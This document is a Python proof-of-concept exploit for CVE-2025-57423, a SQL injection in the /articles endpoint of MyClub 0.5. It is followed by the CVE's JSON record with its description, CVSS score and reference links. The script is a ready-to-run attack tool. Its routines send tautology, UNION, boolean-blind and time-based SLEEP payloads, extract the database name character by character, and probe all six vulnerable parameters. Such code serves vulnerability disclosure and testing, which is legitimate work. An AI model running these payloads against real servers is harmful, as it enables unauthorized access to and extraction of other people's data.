CVE-2025-57423

# CVE-2025-57423 - MyClub 0.5 SQL Injection PoC # Vulnerability: SQL Injection in /articles endpoint # Affected parameters: Content, GroupName, PersonName, lastUpdate, pool, title import requests TARGET_URL = "http://target-myclub-server" ARTICLES_ENDPOINT = f"{TARGET_URL}/articles" # PoC 1: Basic SQL Injection test on 'title' parameter def test_sql_injection_title(): """Test SQL injection via the 'title' parameter""" payload = "' OR '1'='1" params = {"title": payload} response = requests.get(ARTICLES_ENDPOINT, params=params) print(f"[+] Title injection response status: {response.status_code}") print(f"[+] Response length: {len(response.text)}") return response # PoC 2: UNION-based SQL Injection to extract database version def union_based_injection(): """UNION-based injection to extract database information""" # Determine number of columns first payload = "' UNION SELECT 1,2,3,4,5,6,7,8,9,10-- -" params = {"title": payload} response = requests.get(ARTICLES_ENDPOINT, params=params) print(f"[+] UNION injection response status: {response.status_code}") if response.status_code == 200: print("[+] Possible SQL injection confirmed!") return response # PoC 3: Boolean-based blind SQL Injection def boolean_blind_injection(): """Boolean-based blind SQL injection to extract data character by character""" result = "" for i in range(1, 50): # Extract database name character by character payload = f"' AND ASCII(SUBSTRING(database(),{i},1))>64-- -" params = {"title": payload} response_true = requests.get(ARTICLES_ENDPOINT, params=params) payload = f"' AND ASCII(SUBSTRING(database(),{i},1))>96-- -" params = {"title": payload} response_false = requests.get(ARTICLES_ENDPOINT, params=params) if len(response_true.text) != len(response_false.text): # Binary search for the exact character low, high = 32, 126 while low <= high: mid = (low + high) // 2 payload = f"' AND ASCII(SUBSTRING(database(),{i},1))>{mid}-- -" params = {"title": payload} resp = requests.get(ARTICLES_ENDPOINT, params=params) if len(resp.text) == len(response_true.text): low = mid + 1 else: high = mid - 1 result += chr(low) print(f"[+] Extracted so far: {result}") else: break return result # PoC 4: Time-based blind SQL Injection def time_based_injection(): """Time-based blind SQL injection using SLEEP""" import time payload = "' OR SLEEP(5)-- -" params = {"title": payload} start_time = time.time() response = requests.get(ARTICLES_ENDPOINT, params=params) elapsed = time.time() - start_time print(f"[+] Time-based injection elapsed: {elapsed:.2f}s") if elapsed >= 5: print("[+] Time-based SQL injection confirmed!") return response # PoC 5: Injection via multiple vulnerable parameters def multi_param_injection(): """Test injection across all vulnerable parameters""" vulnerable_params = ["Content", "GroupName", "PersonName", "lastUpdate", "pool", "title"] payload = "' OR '1'='1' -- -" for param in vulnerable_params: params = {param: payload} response = requests.get(ARTICLES_ENDPOINT, params=params) print(f"[+] Parameter '{param}' - Status: {response.status_code}, Length: {len(response.text)}") if __name__ == "__main__": print("[*] Testing CVE-2025-57423 - MyClub 0.5 SQL Injection") print("[*] Target:", TARGET_URL) print("-" * 60) # Run all PoC tests test_sql_injection_title() union_based_injection() time_based_injection() multi_param_injection() print("\n[*] PoC execution completed.")

{"cve": {"id": "CVE-2025-57423", "sourceIdentifier": "[email protected]", "published": "2025-10-03T16:16:17.800", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "A SQL injection vulnerability was discovered in the /articles endpoint of MyClub 0.5, affecting the query parameters Content, GroupName, PersonName, lastUpdate, pool, and title. Due to insufficient input sanitisation, an unauthenticated remote attacker could inject arbitrary SQL commands via a crafted GET request, potentially leading to information disclosure or manipulation of the database."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 2.5}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-89"}]}], "references": [{"url": "https://aardwolfsecurity.com/cve-2025-57423-critical-sql-injection-in-myclub/", "source": "[email protected]"}, {"url": "https://github.com/jebissey/MyClub/commit/5741f39cf02215d3d01bf98f6133ac53d27e1556", "source": "[email protected]"}, {"url": "https://github.com/jebissey/MyClub/commit/f067bb63ac7df153e95565529d99ac35de2c347e", "source": "[email protected]"}, {"url": "https://github.com/jebissey/MyClub/issues/2", "source": "[email protected]"}]}}